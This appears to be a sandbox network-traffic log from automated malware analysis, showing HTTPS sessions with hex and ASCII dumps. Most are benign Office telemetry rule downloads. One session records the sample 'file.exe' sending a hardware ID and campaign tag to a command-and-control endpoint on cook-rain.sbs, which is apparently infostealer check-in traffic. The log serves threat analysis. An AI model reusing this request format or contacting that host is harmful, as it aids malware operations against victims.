5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013417Z-16547b76f7fw2955hC1DFWsptc00000005h000000000n2zs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013417Z-16547b76f7fffb7lhC1DFWdsxg000000057g00000000h0th x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013417Z-1866b5c5fbbwlv6nhC1DFWw4bs00000003mg000000006d6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013417Z-1866b5c5fbb2t6txhC1DFWa2qc0000000570000000001dd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013417Z-164f84587bf7jb9dhC1DFWkay400000004w000000000062k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49732	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RM78SF4ALCYSH5I1D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1214 Host: cook-rain.sbs
2024-11-18 01:34:17 UTC	1214	OUT	Data Raw: 2d 2d 52 4d 37 38 53 46 34 41 4c 43 59 53 48 35 49 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 52 4d 37 38 53 46 34 41 4c 43 59 53 48 35 49 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 4d 37 38 53 46 34 41 4c 43 59 53 48 35 49 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --RM78SF4ALCYSH5I1DContent-Disposition: form-data; name="hwid"643D11C7A48F634AF7005D7B20127A88--RM78SF4ALCYSH5I1DContent-Disposition: form-data; name="pid"1--RM78SF4ALCYSH5I1DContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 01:34:18 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mk16i1lcm7eqr8uei9j3fapbns; expires=Thu, 13-Mar-2025 19:20:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qLStMfiTgmVdkADVj19NgJacwzlrFyQbaZgjdbx%2F9t%2F046HxvirIssRb32H%2FJnXG7LOLGFeCWRndZBBWNT0f77iuvXC5bWNqlGsgB0OqQIJUPMRDAfuVRP95nTqSd0%2Fp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4437a09c732cc7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1436&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2127&delivery_rate=1952798&cwnd=251&unsent_bytes=0&cid=4a69b9f17fbafd4c&ts=540&x=0"
2024-11-18 01:34:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 01:34:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49731	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:17 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 55 49 6c 2f 79 7a 48 65 44 30 65 4a 44 62 66 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 30 66 35 32 63 61 66 37 39 64 39 35 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: UIl/yzHeD0eJDbf1.1Context: 4d0f52caf79d951
2024-11-18 01:34:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 01:34:17 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 55 49 6c 2f 79 7a 48 65 44 30 65 4a 44 62 66 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 30 66 35 32 63 61 66 37 39 64 39 35 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 77 30 31 33 68 49 37 45 48 75 62 6c 42 77 46 4a 66 6d 74 65 79 4c 57 43 33 38 45 33 2f 45 4a 35 47 53 39 68 4f 61 2f 76 4e 77 7a 58 61 4e 4c 4e 73 6c 58 36 51 74 52 2f 45 76 61 6e 75 54 6b 57 58 63 42 54 44 73 45 4d 4c 4a 52 77 51 58 4a 2b 71 6e 68 7a 45 4f 62 6b 73 67 57 6f 30 53 5a 2b 38 7a 73 64 58 6d 32 65 42 2f 79 6e Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: UIl/yzHeD0eJDbf1.2Context: 4d0f52caf79d951<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4w013hI7EHublBwFJfmteyLWC38E3/EJ5GS9hOa/vNwzXaNLNslX6QtR/EvanuTkWXcBTDsEMLJRwQXJ+qnhzEObksgWo0SZ+8zsdXm2eB/yn
2024-11-18 01:34:17 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 55 49 6c 2f 79 7a 48 65 44 30 65 4a 44 62 66 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 30 66 35 32 63 61 66 37 39 64 39 35 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: UIl/yzHeD0eJDbf1.3Context: 4d0f52caf79d951<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 01:34:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 01:34:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 35 72 47 43 55 79 5a 67 4b 6b 47 73 39 70 35 64 62 45 45 6f 59 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 5rGCUyZgKkGs9p5dbEEoYw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013418Z-16547b76f7f5b5tthC1DFWuk8400000003u000000000334y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013418Z-16547b76f7f7zzl8hC1DFWmtag0000000420000000005xpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a5983e6-f01e-001f-229b-365dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013418Z-164f84587bf28gjzhC1DFW35kg00000004y000000000pwh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

